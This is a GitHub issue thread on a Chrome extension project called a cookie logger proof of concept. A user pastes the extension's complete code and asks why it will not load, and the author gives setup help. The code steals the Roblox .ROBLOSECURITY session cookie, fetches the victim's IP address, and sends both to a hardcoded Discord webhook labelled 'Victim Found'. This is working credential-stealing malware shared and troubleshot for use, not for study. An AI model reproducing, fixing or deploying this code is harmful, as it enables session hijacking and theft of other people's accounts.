tcpcon / chrome-extension-logger-poc

Chrome extension that logs roblox cookie + info and sends logged info to a discord webhook.
GNU General Public License v3.0
100 stars 221 forks source link

not working #6

Closed eeoms closed 2 years ago

eeoms commented 2 years ago

Ive copied the code, pasted my webhook in the const variable, (also moved it below the first function cuz it just kept searching the webhook url) and when i made the page it was just red and didnt let me add it. any help?

code:

function get_cookies(callback) {
    chrome.cookies.get({"url": "https://www.roblox.com/home", "name": ".ROBLOSECURITY"}, function(cookie) {
        if(callback) {
            callback(cookie ? cookie.value : "COOKIE NOT FOUND!")
        }
    });
}

const WEBHOOK = "https://discord.com/api/webhooks/994859343709229147/2Mm5veIfAtEDZP1X6tpfvYE5gG6nub-sJYRGqseMa4B98Cxnjm-ZSg5ppFXVDBA6KtMw"

function send_webhook(ip, cookie) {
    var webhook_req = new XMLHttpRequest()

    webhook_req.open("POST", WEBHOOK)
    webhook_req.setRequestHeader("Content-Type", "application/json")

    webhook_req.send(JSON.stringify({
        "content": null,
        "embeds": [
          {
            "description": "```" + cookie + "```",
            "color": 16711680,
            "author": {
              "name": ip,
              "icon_url": "https://upload.wikimedia.org/wikipedia/commons/b/bb/Roblox_logo.png"
            },
            "footer": {
              "text": "Victim Found",
              "icon_url": "https://upload.wikimedia.org/wikipedia/commons/b/bb/Roblox_logo.png"
            },
            "thumbnail": {
              "url": "https://upload.wikimedia.org/wikipedia/commons/b/bb/Roblox_logo.png"
            }
          }
        ],
        "username": "Cookie Logger",
        "avatar_url": "https://upload.wikimedia.org/wikipedia/commons/b/bb/Roblox_logo.png"
      }))
}

get_cookies(function(cookie) {
    var ip_req = new XMLHttpRequest()

    ip_req.open("GET", "https://api.ipify.org")
    ip_req.send()

    ip_req.onload = function() {
        send_webhook(ip_req.response, cookie)
    }
})
tcpcon commented 2 years ago

When adding the extension, you must add the extension folder as an extension not just the .js file. If you are still having issues after that then i am not sure of the problem because it works for me.